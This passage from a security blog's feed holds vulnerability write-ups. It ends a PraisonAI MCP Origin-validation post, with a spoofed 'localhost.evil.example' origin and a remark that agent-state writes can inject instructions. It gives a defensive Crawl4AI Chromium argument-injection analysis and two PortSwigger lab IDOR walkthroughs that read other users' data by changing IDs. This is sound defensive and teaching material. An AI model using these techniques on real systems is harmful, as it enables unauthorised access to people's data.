href="#Tool-registration-is-ambient-authority" class="headerlink" title="Tool registration is ambient authority"></a>Tool registration is ambient authority</h3><p><code>register_all()</code> is convenient and it means every registered tool is reachable through any gap in any transport. Registered capability is not neutral — it is the blast radius of every authentication and validation bug in the layers above it. Register the tools a deployment actually needs, and treat the registry itself as a security-relevant configuration surface.</p><h3 id="Writes-into-agent-state-are-an-injection-channel"><a href="#Writes-into-agent-state-are-an-injection-channel" class="headerlink" title="Writes into agent state are an injection channel"></a>Writes into agent state are an injection channel</h3><p><code>praisonai.todo.add</code> looks like the least interesting part of this finding: it writes a small JSON file. But agent state is <em>read back by an agent</em> and interpreted as instructions or tasks. Anywhere untrusted input can reach a store that a model later consumes, the integrity impact of a small write is larger than its size suggests. When threat-modeling an agent framework, map which files the model reads as context and treat writes to them as privileged.</p><h2 id="Related-reading"><a href="#Related-reading" class="headerlink" title="Related reading"></a>Related reading</h2><ul><li><a href="/posts/2026/08/cve-2026-55533-praisonai-recipe-auth-fail-open/">CVE-2026-55533: PraisonAI Recipe Server Authentication Fail-Open</a> — the other issue fixed in PraisonAI 4.6.58, where selecting <code>api-key</code> or <code>jwt</code> without a secret silently disables authentication.</li><li><a href="/posts/2026/07/2026-07-13-cve-2026-57572-crawl4ai-docker-api-argument-injection/">CVE-2026-57572: Crawl4AI Unauthenticated RCE via Chromium Argument Injection</a> — another AI-infrastructure service where a permissive configuration path crossed a trust boundary.</li></ul><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://www.cve.org/CVERecord?id=CVE-2026-55529">CVE.org record: CVE-2026-55529</a></li><li><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-55529">NIST National Vulnerability Database: CVE-2026-55529</a></li><li><a href="https://github.com/advisories/GHSA-wj6g-v78p-6fx3">GitHub Security Advisory: GHSA-wj6g-v78p-6fx3</a></li><li><a href="https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58">PraisonAI v4.6.58 release</a></li><li><a href="https://github.com/MervinPraison/PraisonAI/commit/2f9677a">Fix commit 2f9677a</a></li><li><a href="https://cwe.mitre.org/data/definitions/346.html">CWE-346: Origin Validation Error</a></li><li><a href="https://cwe.mitre.org/data/definitions/306.html">CWE-306: Missing Authentication for Critical Function</a></li><li><a href="https://modelcontextprotocol.io/specification/2025-06-18/basic/transports#security-warning">Model Context Protocol specification: Transports, Streamable HTTP security warning</a></li></ul><p>Public vulnerability records change as maintainers and databases add references or revise metadata. Recheck the primary sources above during remediation and incident response.</p>]]></content>
    
    
    <summary type="html">CVE-2026-55529 affects PraisonAI before 4.6.58: the MCP HTTP Stream transport validates the Origin header with a prefix match, so http://localhost.evil.example passes the localhost allowlist. Upgrade to 4.6.58 or later.</summary>
    
    
    
    <category term="Research" scheme="https://blog.nhhoang.io.vn/categories/Research/"/>
    
    <category term="Vulnerability Research" scheme="https://blog.nhhoang.io.vn/categories/Research/Vulnerability-Research/"/>
    
    
    <category term="ai-security" scheme="https://blog.nhhoang.io.vn/tags/ai-security/"/>
    
    <category term="csrf" scheme="https://blog.nhhoang.io.vn/tags/csrf/"/>
    
    <category term="cve" scheme="https://blog.nhhoang.io.vn/tags/cve/"/>
    
    <category term="praisonai" scheme="https://blog.nhhoang.io.vn/tags/praisonai/"/>
    
    <category term="mcp" scheme="https://blog.nhhoang.io.vn/tags/mcp/"/>
    
    <category term="origin-validation" scheme="https://blog.nhhoang.io.vn/tags/origin-validation/"/>
    
    <category term="dns-rebinding" scheme="https://blog.nhhoang.io.vn/tags/dns-rebinding/"/>
    
    <category term="agent-framework" scheme="https://blog.nhhoang.io.vn/tags/agent-framework/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2026-57572: Crawl4AI Unauthenticated RCE via Chromium Argument Injection</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/2026-07-13-cve-2026-57572-crawl4ai-docker-api-argument-injection/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/2026-07-13-cve-2026-57572-crawl4ai-docker-api-argument-injection/</id>
    <published>2026-07-13T02:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.495Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Scope and safety.</strong> This article analyzes public vulnerability records and defensive implications. It intentionally omits exploit requests, dangerous browser switches, command payloads, reverse shells, and weaponized proof-of-concept instructions.</p></blockquote><h2 id="Executive-summary"><a href="#Executive-summary" class="headerlink" title="Executive summary"></a>Executive summary</h2><p>CVE-2026-57572 is a critical argument-injection vulnerability affecting the Crawl4AI Docker API before version 0.9.0. Public records describe a data flow in which a network request could control <code>browser_config.extra_args</code>, and those values subsequently reached the Chromium process launch arguments. In deployments where the API was reachable, the vulnerable path could be invoked without authentication by default.</p><p>The issue is classified as <strong>CWE-88: Improper Neutralization of Argument Delimiters in a Command</strong>. Successful exploitation could result in arbitrary command execution with the privileges of the container’s runtime user. NVD assigns a CVSS 3.1 base score of <strong>10.0 Critical</strong>, with vector <code>CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H</code>.</p><p>The project fixed the issue in <strong>Crawl4AI 0.9.0</strong>. Operators should upgrade rather than rely only on network filtering, then reduce API exposure, require authentication at a trusted boundary, constrain the container, and monitor for anomalous process creation.</p><p><strong>Evidence labels used below:</strong></p><ul><li><strong>Verified</strong> means stated by the linked CVE, NVD, GitHub advisory, or project release material.</li><li><strong>Inferred</strong> means a deployment or architectural consequence derived from those facts and clearly identified as such.</li></ul><h2 id="Key-facts"><a href="#Key-facts" class="headerlink" title="Key facts"></a>Key facts</h2><table><thead><tr><th>Item</th><th>Finding</th><th>Confidence</th></tr></thead><tbody><tr><td>Identifier</td><td>CVE-2026-57572</td><td>Verified</td></tr><tr><td>Researcher &#x2F; CVE author</td><td>hoanggxyuuki</td><td>Direct attribution supplied for this publication; this credit is distinct from CNA assignment and CVE record administration</td></tr><tr><td>Product surface</td><td>Crawl4AI Docker API</td><td>Verified</td></tr><tr><td>Affected versions</td><td>Versions before 0.9.0</td><td>Verified</td></tr><tr><td>Fixed version</td><td>0.9.0</td><td>Verified</td></tr><tr><td>Weakness</td><td>Argument injection, CWE-88</td><td>Verified</td></tr><tr><td>Entry point</td><td>Request-controlled <code>browser_config.extra_args</code></td><td>Verified</td></tr><tr><td>Dangerous sink</td><td>Chromium launch arguments</td><td>Verified</td></tr><tr><td>Authentication posture</td><td>API exposure was unauthenticated by default</td><td>Verified</td></tr><tr><td>Direct impact</td><td>Arbitrary command execution as the container runtime user</td><td>Verified</td></tr><tr><td>NVD severity</td><td>CVSS 3.1 10.0 Critical</td><td>Verified</td></tr><tr><td>NVD vector</td><td><code>AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H</code></td><td>Verified</td></tr></tbody></table><h2 id="Why-this-class-matters-for-AI-and-browser-automation-infrastructure"><a href="#Why-this-class-matters-for-AI-and-browser-automation-infrastructure" class="headerlink" title="Why this class matters for AI and browser automation infrastructure"></a>Why this class matters for AI and browser automation infrastructure</h2><p>Browser automation services sit at an unusually sensitive intersection. They accept remote jobs, interpret rich configuration, launch a large native application, access internal or external web resources, and often return extracted data to an AI or indexing pipeline. Convenience features that expose low-level browser controls can silently collapse several trust boundaries into one.</p><p>This is especially relevant to AI infrastructure because browser workers are commonly attached to:</p><ul><li>retrieval and research agents;</li><li>web ingestion and document-processing pipelines;</li><li>internal knowledge collection;</li><li>authenticated browser sessions;</li><li>cloud metadata, service networks, or data stores reachable from the worker;</li><li>queues and orchestration systems that automatically submit jobs.</li></ul><p><strong>Inferred:</strong> command execution in a browser worker may therefore be more consequential than compromise of an isolated scraping task. The practical outcome depends on the worker’s identity, mounted files, network routes, secrets, runtime controls, and surrounding orchestration.</p><h2 id="Attack-surface-and-trust-boundary"><a href="#Attack-surface-and-trust-boundary" class="headerlink" title="Attack surface and trust boundary"></a>Attack surface and trust boundary</h2><p>The vulnerable security boundary was not simply “JSON becomes a browser option.” It was a transition from untrusted network data into the argument vector of a newly created native process.</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">Untrusted network client</span><br><span class="line">        |</span><br><span class="line">        | browser job request</span><br><span class="line">        v</span><br><span class="line">Crawl4AI Docker API</span><br><span class="line">        |</span><br><span class="line">        | browser_config.extra_args</span><br><span class="line">        v</span><br><span class="line">Configuration / validation layer</span><br><span class="line">        |</span><br><span class="line">        | process argument construction</span><br><span class="line">        v</span><br><span class="line">Chromium launcher  ---- process boundary ----&gt;  Chromium / child process behavior</span><br><span class="line">        |</span><br><span class="line">        v</span><br><span class="line">Container runtime user, filesystem, secrets, and reachable networks</span><br></pre></td></tr></table></figure><p>The most important trust transition is the one between <strong>configuration data</strong> and <strong>process-launch control</strong>. A field can be valid JSON and still be unsafe for a downstream command-line grammar. Type checks such as “array of strings” do not establish that each string is an acceptable browser capability.</p><p>Exposure also matters. The public advisory describes the Docker API as unauthenticated by default. <strong>Inferred:</strong> a host that published the service port beyond a strictly controlled network boundary could convert a local process-launch weakness into a remotely reachable compromise path.</p><h2 id="Root-cause-data-flow"><a href="#Root-cause-data-flow" class="headerlink" title="Root-cause data flow"></a>Root-cause data flow</h2><p>At a conceptual level, the vulnerable pattern looked like this:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">request JSON</span><br><span class="line">  -&gt; browser_config</span><br><span class="line">  -&gt; extra_args[]</span><br><span class="line">  -&gt; launcher option assembly</span><br><span class="line">  -&gt; Chromium process arguments</span><br></pre></td></tr></table></figure><p>The unsafe design can be represented with sanitized pseudocode:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Conceptual only: no exploit values are shown.</span></span><br><span class="line">config = parse_request(request_body)</span><br><span class="line">arguments = approved_defaults + config.browser_config.extra_args</span><br><span class="line">launch_browser(arguments)</span><br></pre></td></tr></table></figure><p>The problem is not that process launch APIs are inherently unsafe, nor that every Chromium option is dangerous. The problem is allowing a remote caller to select arbitrary entries in a powerful command-line language without a strict capability model.</p><p>A safer shape is an explicit mapping from narrowly defined product features to server-owned arguments:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Defensive pseudocode.</span></span><br><span class="line">requested = parse_and_validate_schema(request_body)</span><br><span class="line"></span><br><span class="line">arguments = approved_defaults.copy()</span><br><span class="line"><span class="keyword">if</span> requested.viewport_profile <span class="keyword">in</span> ALLOWED_VIEWPORTS:</span><br><span class="line">    arguments += server_owned_viewport_args(requested.viewport_profile)</span><br><span class="line"></span><br><span class="line"><span class="comment"># No generic pass-through field crosses into the launch vector.</span></span><br><span class="line">launch_browser(arguments)</span><br></pre></td></tr></table></figure><p>This distinction matters: a denylist asks maintainers to predict every dangerous interpretation, while an allowlisted capability model exposes only behavior the service deliberately supports.</p><h2 id="Impact-and-deployment-dependent-blast-radius"><a href="#Impact-and-deployment-dependent-blast-radius" class="headerlink" title="Impact and deployment-dependent blast radius"></a>Impact and deployment-dependent blast radius</h2><p>The verified direct impact is arbitrary command execution as the user running the vulnerable container process. That establishes code execution, but not an identical outcome in every environment.</p><h3 id="Verified-impact"><a href="#Verified-impact" class="headerlink" title="Verified impact"></a>Verified impact</h3><ul><li>Remote invocation was possible when the vulnerable API was network-reachable.</li><li>No privileges or user interaction were required according to the NVD vector.</li><li>Commands would execute with the container runtime user’s privileges.</li><li>Confidentiality, integrity, and availability impacts are rated High by NVD.</li><li>The CVSS scope is Changed, reflecting impact beyond the vulnerable component’s immediate security authority.</li></ul><h3 id="Deployment-dependent-consequences"><a href="#Deployment-dependent-consequences" class="headerlink" title="Deployment-dependent consequences"></a>Deployment-dependent consequences</h3><p>The following are <strong>inferred</strong>, not universal facts about every Crawl4AI installation:</p><ul><li>theft of API keys, session material, or configuration available to the process;</li><li>modification or deletion of writable crawl data and application state;</li><li>use of the worker’s network position to reach internal services;</li><li>persistence through writable volumes or orchestration configuration, where permissions permit;</li><li>lateral movement if the container has excessive credentials or runtime access;</li><li>host impact if the container is privileged, has dangerous capabilities, or exposes a container-engine socket.</li></ul><p>Conversely, a non-root user, read-only filesystem, minimal mounts, restricted egress, strong seccomp&#x2F;AppArmor policy, and short-lived workers can materially reduce blast radius. They do not make a vulnerable version safe, but they can limit post-compromise options.</p><h2 id="Safe-validation-and-detection-ideas"><a href="#Safe-validation-and-detection-ideas" class="headerlink" title="Safe validation and detection ideas"></a>Safe validation and detection ideas</h2><p>Defenders can validate exposure without sending dangerous values or attempting command execution.</p><h3 id="Inventory-and-configuration-review"><a href="#Inventory-and-configuration-review" class="headerlink" title="Inventory and configuration review"></a>Inventory and configuration review</h3><ol><li>Identify Crawl4AI images, packages, manifests, and running containers.</li><li>Record the deployed version and flag anything earlier than 0.9.0.</li><li>Review whether the Docker API port is published, proxied, or reachable across trust zones.</li><li>Confirm whether authentication is enforced by the service or a mandatory upstream gateway.</li><li>Search application code and saved job templates for use of generic <code>extra_args</code> pass-through behavior.</li></ol><p>Example of a safe policy-oriented deployment fragment:</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Illustrative hardening only; adapt to your orchestrator.</span></span><br><span class="line"><span class="attr">services:</span></span><br><span class="line">  <span class="attr">browser-worker:</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">&quot;crawl4ai:&lt;fixed-version-or-later&gt;&quot;</span></span><br><span class="line">    <span class="attr">read_only:</span> <span class="literal">true</span></span><br><span class="line">    <span class="attr">user:</span> <span class="string">&quot;non-root-runtime-user&quot;</span></span><br><span class="line">    <span class="attr">security_opt:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">&quot;no-new-privileges:true&quot;</span></span><br><span class="line">    <span class="comment"># Bind only to a controlled internal interface or network.</span></span><br><span class="line">    <span class="comment"># Put authenticated authorization in front of the API.</span></span><br></pre></td></tr></table></figure><h3 id="Log-and-telemetry-review"><a href="#Log-and-telemetry-review" class="headerlink" title="Log and telemetry review"></a>Log and telemetry review</h3><p>Look for:</p><ul><li>requests containing <code>browser_config.extra_args</code>, especially from unexpected clients;</li><li>unusual volume or shape of browser-launch configuration;</li><li>Chromium or the API service spawning unexpected child processes;</li><li>process trees that differ from the known-good worker baseline;</li><li>new files in writable application, temporary, or mounted directories;</li><li>unexpected outbound connections from browser workers;</li><li>container restarts, resource spikes, or job failures correlated with suspicious requests.</li></ul><p>Process-execution telemetry is particularly valuable because request logs may be incomplete or normalized. Build a baseline of expected parent-child relationships for the API and browser processes, then alert on deviations without publishing or replaying the suspicious arguments.</p><h3 id="Non-destructive-version-check"><a href="#Non-destructive-version-check" class="headerlink" title="Non-destructive version check"></a>Non-destructive version check</h3><p>Prefer package metadata, image labels, lockfiles, software bills of materials, or the application’s normal version output. Do not validate by reproducing the injection path in production.</p><h2 id="Remediation-and-hardening"><a href="#Remediation-and-hardening" class="headerlink" title="Remediation and hardening"></a>Remediation and hardening</h2><h3 id="Required-remediation"><a href="#Required-remediation" class="headerlink" title="Required remediation"></a>Required remediation</h3><p>Upgrade to <strong>Crawl4AI 0.9.0 or later</strong>, using the project’s release notes and advisory to verify the fixed line. Rebuild and redeploy immutable images rather than patching a running container in place. Confirm that no older replicas, jobs, or cached deployment artifacts remain.</p><h3 id="Defense-in-depth"><a href="#Defense-in-depth" class="headerlink" title="Defense in depth"></a>Defense in depth</h3><ul><li>Do not expose browser automation APIs directly to the public internet.</li><li>Require authentication and authorization at a fail-closed gateway.</li><li>Restrict callers by network policy and service identity.</li><li>Run as a dedicated non-root user.</li><li>Drop Linux capabilities and enable <code>no-new-privileges</code>.</li><li>Use a read-only root filesystem and tightly scoped writable temporary storage.</li><li>Avoid mounting host paths, credentials, or container-engine sockets.</li><li>Restrict inbound and outbound network access to documented dependencies.</li><li>Separate browser workers from control-plane services and sensitive data stores.</li><li>Set job timeouts, memory&#x2F;CPU limits, and process-count limits.</li><li>Retain request, process, and container audit telemetry.</li><li>Rotate secrets accessible to a potentially compromised worker if exposure cannot be ruled out.</li></ul><p>Network controls and authentication are compensating controls, not substitutes for upgrading. An authenticated but over-privileged tenant, stolen service credential, or internal request path could still reach a vulnerable launch boundary.</p><h2 id="Timeline"><a href="#Timeline" class="headerlink" title="Timeline"></a>Timeline</h2><table><thead><tr><th>Date</th><th>Event</th><th>Source certainty</th></tr></thead><tbody><tr><td>Around 2026-06-18</td><td>Public GitHub security-advisory activity is associated with GHSA-r253-r9jw-qg44. Consult the advisory’s own timestamps for the authoritative event details.</td><td>Primary advisory; phrased approximately because advisory records may distinguish publication and update times</td></tr><tr><td>2026-07-07</td><td>NVD lists its publication date for CVE-2026-57572.</td><td>NVD record</td></tr><tr><td>2026-07-13</td><td>This analysis published.</td><td>This site</td></tr></tbody></table><p>The exact chronology should be read from the live records because CVE and advisory entries can be reserved, published, enriched, and updated at different times. This article does not treat an advisory update timestamp as proof of the original discovery or vendor-notification date.</p><h2 id="Lessons-for-builders"><a href="#Lessons-for-builders" class="headerlink" title="Lessons for builders"></a>Lessons for builders</h2><h3 id="Model-capabilities-not-raw-switches"><a href="#Model-capabilities-not-raw-switches" class="headerlink" title="Model capabilities, not raw switches"></a>Model capabilities, not raw switches</h3><p>If clients need browser customization, expose bounded, semantic options such as a named viewport profile or an approved rendering mode. Do not make a general-purpose process argument vector part of the remote API contract.</p><h3 id="Validate-at-the-sink’s-grammar"><a href="#Validate-at-the-sink’s-grammar" class="headerlink" title="Validate at the sink’s grammar"></a>Validate at the sink’s grammar</h3><p>JSON schema validation proves structure, not safety in Chromium’s command-line grammar. Every interpreter boundary—shell, process arguments, URL handlers, templates, SQL, or model tool calls—needs controls designed for that specific grammar and capability.</p><h3 id="Treat-browser-workers-as-hostile-input-execution-environments"><a href="#Treat-browser-workers-as-hostile-input-execution-environments" class="headerlink" title="Treat browser workers as hostile-input execution environments"></a>Treat browser workers as hostile-input execution environments</h3><p>Even after fixing this CVE, crawled pages and remote jobs remain untrusted. Isolate workers, minimize credentials, constrain egress, and assume that future parser or browser vulnerabilities are possible.</p><h3 id="Secure-defaults-determine-real-exposure"><a href="#Secure-defaults-determine-real-exposure" class="headerlink" title="Secure defaults determine real exposure"></a>Secure defaults determine real exposure</h3><p>An optional authentication feature does not protect deployments that never enable it. Services capable of launching browsers should bind conservatively and require an explicit decision before becoming reachable outside a private control plane.</p><h3 id="Preserve-evidence-across-layers"><a href="#Preserve-evidence-across-layers" class="headerlink" title="Preserve evidence across layers"></a>Preserve evidence across layers</h3><p>Request logs alone may not show downstream interpretation. Correlate request IDs with launcher configuration, process creation, container identity, and network events so an incident responder can reconstruct the path without rerunning potentially dangerous input.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://www.cve.org/CVERecord?id=CVE-2026-57572">CVE.org record: CVE-2026-57572</a></li><li><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-57572">NIST National Vulnerability Database: CVE-2026-57572</a></li><li><a href="https://github.com/advisories/GHSA-r253-r9jw-qg44">GitHub Security Advisory: GHSA-r253-r9jw-qg44</a></li><li><a href="https://github.com/unclecode/crawl4ai/releases/tag/v0.9.0">Crawl4AI v0.9.0 release notes</a></li></ul><p>Public vulnerability records can change as maintainers and databases add references or revise metadata. Recheck the primary sources above during remediation and incident response.</p>]]></content>
    
    
    <summary type="html">CVE-2026-57572 affects Crawl4AI before 0.9.0, enabling unauthenticated RCE through Chromium argument injection. Upgrade to version 0.9.0 or later.</summary>
    
    
    
    <category term="Research" scheme="https://blog.nhhoang.io.vn/categories/Research/"/>
    
    <category term="Vulnerability Research" scheme="https://blog.nhhoang.io.vn/categories/Research/Vulnerability-Research/"/>
    
    
    <category term="ai-security" scheme="https://blog.nhhoang.io.vn/tags/ai-security/"/>
    
    <category term="cve" scheme="https://blog.nhhoang.io.vn/tags/cve/"/>
    
    <category term="crawl4ai" scheme="https://blog.nhhoang.io.vn/tags/crawl4ai/"/>
    
    <category term="chromium" scheme="https://blog.nhhoang.io.vn/tags/chromium/"/>
    
    <category term="argument-injection" scheme="https://blog.nhhoang.io.vn/tags/argument-injection/"/>
    
    <category term="rce" scheme="https://blog.nhhoang.io.vn/tags/rce/"/>
    
    <category term="docker" scheme="https://blog.nhhoang.io.vn/tags/docker/"/>
    
  </entry>
  
  <entry>
    <title>IDOR in Downloadable Chat Transcripts</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/insecure-direct-object-references/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/insecure-direct-object-references/</id>
    <published>2026-07-12T06:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.495Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is exclusively for the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Only test systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The live-chat feature stores transcripts under sequential numeric filenames and serves them through a direct download route. Because the server does not check ownership, changing the filename retrieves another user’s conversation.</p><figure><img src="/images/portswigger/access-control/insecure-direct-object-references/step-1.png" alt="PortSwigger insecure direct object references lab introduction"><figcaption>The GET /download-transcript endpoint objective is to recover Carlos credentials from an unowned transcript.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>No account is initially provided. Recover the synthetic password disclosed in Carlos’s transcript and use it to sign in as <code>carlos</code>.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>The application offered live chat and a <strong>View transcript</strong> function. After sending test messages, downloading the transcript produced a file named with a simple integer, indicating a predictable object namespace.</p><figure><img src="/images/portswigger/access-control/insecure-direct-object-references/step-2.png" alt="Live chat interface with view transcript control"><figcaption>The View transcript control issues GET /download-transcript for a numbered chat file.</figcaption></figure><figure><img src="/images/portswigger/access-control/insecure-direct-object-references/step-3.png" alt="Downloaded chat transcript using a numeric filename"><figcaption>The /download-transcript/1.txt filename demonstrates the sequential object identifier pattern.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>Predictability aids discovery, but the core defect is missing object-level authorization. The endpoint accepts a filename such as <code>1.txt</code> without confirming that the requester owns or may read that transcript.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><ol><li>Use live chat and download your own transcript to learn the URL format.</li><li>In the lab, request <code>/download-transcript/1.txt</code>.</li><li>Read the synthetic transcript and use the disclosed Carlos credential to sign in.</li></ol><figure><img src="/images/portswigger/access-control/insecure-direct-object-references/step-4.png" alt="Unauthorized transcript containing Carlos synthetic password"><figcaption>The GET /download-transcript/1.txt response contains Carlos's synthetic credential without an ownership check.</figcaption></figure><figure><img src="/images/portswigger/access-control/insecure-direct-object-references/step-5.png" alt="Successful Carlos login completing the IDOR lab"><figcaption>Signing in to My account as carlos with the Live chat credential completes the exercise.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The server returns transcript <code>1.txt</code> despite no ownership relationship, and the Academy marks the lab solved after the resulting login. The password is not reproduced because its exact value adds no educational value.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>Comparable flaws can disclose support conversations, credentials, personal information, or internal details. Authorize every download against the current user and resource, and avoid public sequential storage keys.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/access-control/lab-insecure-direct-object-references">PortSwigger lab</a></li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html">OWASP IDOR Prevention</a></li><li><a href="https://cwe.mitre.org/data/definitions/639.html">CWE-639</a></li></ul>]]></content>
    
    
    <summary type="html">A polished PortSwigger IDOR writeup explaining how sequential transcript filenames and missing ownership checks expose another user&#39;s chat.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="Access Control" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/Access-Control/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="access-control" scheme="https://blog.nhhoang.io.vn/tags/access-control/"/>
    
    <category term="idor" scheme="https://blog.nhhoang.io.vn/tags/idor/"/>
    
  </entry>
  
  <entry>
    <title>Horizontal Privilege Escalation Through a User-Controlled Account ID</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/user-id-controlled-by-request-parameter/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/user-id-controlled-by-request-parameter/</id>
    <published>2026-07-12T05:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.495Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is exclusively for the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Only test systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The account page accepts a username in <code>?id=</code> and returns that user’s record without checking whether it belongs to the authenticated session. This is a classic IDOR&#x2F;BOLA condition.</p><figure><img src="/images/portswigger/access-control/user-id-request-parameter/step-1.png" alt="PortSwigger user-controlled account ID lab introduction"><figcaption>The lab focuses on unauthorized access to another user's API key.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Log in as <code>wiener:peter</code>, retrieve the synthetic API key belonging to <code>carlos</code>, and submit it through the lab interface.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>The authenticated account page displayed an API key and used <code>/my-account?id=wiener</code>. The visible identifier suggested that changing the parameter could select a different account. The explored email update path was not the relevant weakness; the read endpoint was.</p><figure><img src="/images/portswigger/access-control/user-id-request-parameter/step-2.png" alt="Wiener account page displaying its own API key"><figcaption>The /my-account view displays the authorized wiener account before parameter mutation.</figcaption></figure><figure><img src="/images/portswigger/access-control/user-id-request-parameter/step-3.png" alt="Email update request explored during the lab"><figcaption>The explored email-update request does not provide the useful object-selection weakness.</figcaption></figure><figure><img src="/images/portswigger/access-control/user-id-request-parameter/step-4.png" alt="My account URL containing id equals wiener"><figcaption>The /my-account?id=carlos query directly selects the Carlos account object.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>Authentication establishes who made the request, but the application never enforces that identity against the requested object. The user-controlled key is accepted as sufficient authority to read the record.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><ol><li>Authenticate as <code>wiener</code> and open the account page.</li><li>Replace <code>id=wiener</code> with <code>id=carlos</code>.</li><li>Observe Carlos’s synthetic API key and submit it using the lab control.</li></ol><figure><img src="/images/portswigger/access-control/user-id-request-parameter/step-5.png" alt="Carlos account data exposed by changing the id parameter"><figcaption>The same session receives another user's account data.</figcaption></figure><figure><img src="/images/portswigger/access-control/user-id-request-parameter/step-6.png" alt="Solved status after submitting the exposed API key"><figcaption>The solved banner confirms unauthorized access to Carlos's synthetic API key.</figcaption></figure> Authenticate as `wiener`, capture `/my-account?id=wiener`, replace only the `id` value with `carlos`, and read the returned synthetic API key. Submit that key through the lab answer form.<h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The response changes records solely because the query parameter changes. No session or privilege change occurs, confirming a missing object-level authorization check.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>IDOR can expose API keys, personal data, documents, or account actions at scale. Resolve identity from trusted session state and authorize access to every requested object.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a 